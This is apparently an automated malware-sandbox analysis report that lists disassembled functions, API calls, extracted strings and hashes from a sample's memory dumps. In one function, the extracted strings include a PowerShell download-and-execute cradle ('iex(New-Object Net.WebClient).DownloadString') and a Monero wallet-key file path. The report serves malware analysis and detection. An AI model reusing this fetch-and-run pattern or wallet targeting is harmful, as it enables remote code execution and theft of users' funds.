Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 005FC84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 005FC8BF
___crtGetStringTypeA.LIBCMT ref: 005FC8EC
___crtLCMapStringA.LIBCMT ref: 005FC90C
___crtLCMapStringA.LIBCMT ref: 005FC931

Strings

, xrefs: 005FC896

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 898cbcb82923acda1dbb8cf7092146353ffa0761c8301b35823f3ce3a64b2037
Instruction ID: 483d9d13b64790094deab7db9c00f023ac3eb214018d82d53bd9dc6df6b4c99c
Opcode Fuzzy Hash: 898cbcb82923acda1dbb8cf7092146353ffa0761c8301b35823f3ce3a64b2037
Instruction Fuzzy Hash: 7341D5B150075C5EDB218B24CE84BFB7FE9BF45744F1448F8EACA86182D279AA449F60

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 005F2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

ShellExecuteEx.SHELL32(0000003C), ref: 005F2D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 005F2D04
<, xrefs: 005F2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 005F2CC4
')", xrefs: 005F2CB3

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: c7b21fc9119ed244b80e20b84a684121015c27825ab53606a904e3440827fa88
Instruction ID: a642d664b3bcc64baf00fd5fc32f719497a348ac3017ca67daf35c5f0034e15f
Opcode Fuzzy Hash: c7b21fc9119ed244b80e20b84a684121015c27825ab53606a904e3440827fa88
Instruction Fuzzy Hash: F041D2B1C1010D9ADB18FBA0C895BFDBF74BF54340F508119E60AA7195DFB86A4ACF92

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

kernel32.dll, xrefs: 6C6B7557
UnmapViewOfFile2, xrefs: 6C6B7552

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

ntdll.dll, xrefs: 6C6BC413
NtQueryVirtualMemory, xrefs: 6C6BC431

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 005E9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 005E9F41

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 005E9E67
v10, xrefs: 005E9EA3
@, xrefs: 005E9EF1
v20, xrefs: 005E9E21

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 198f7212d42d5b95d652592754d008425999ba88dfa4526ad133c3ff807f29fc
Instruction ID: d78856b51031c42933fd54295e4a7b179a2d439c2fb1a0138bdff96a31e33dcb
Opcode Fuzzy Hash: 198f7212d42d5b95d652592754d008425999ba88dfa4526ad133c3ff807f29fc
Instruction Fuzzy Hash: BF613F70A4024DDBDB28EFA5CC9AFEE7B75BF84340F008518FA495B191DB746A05CB52

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
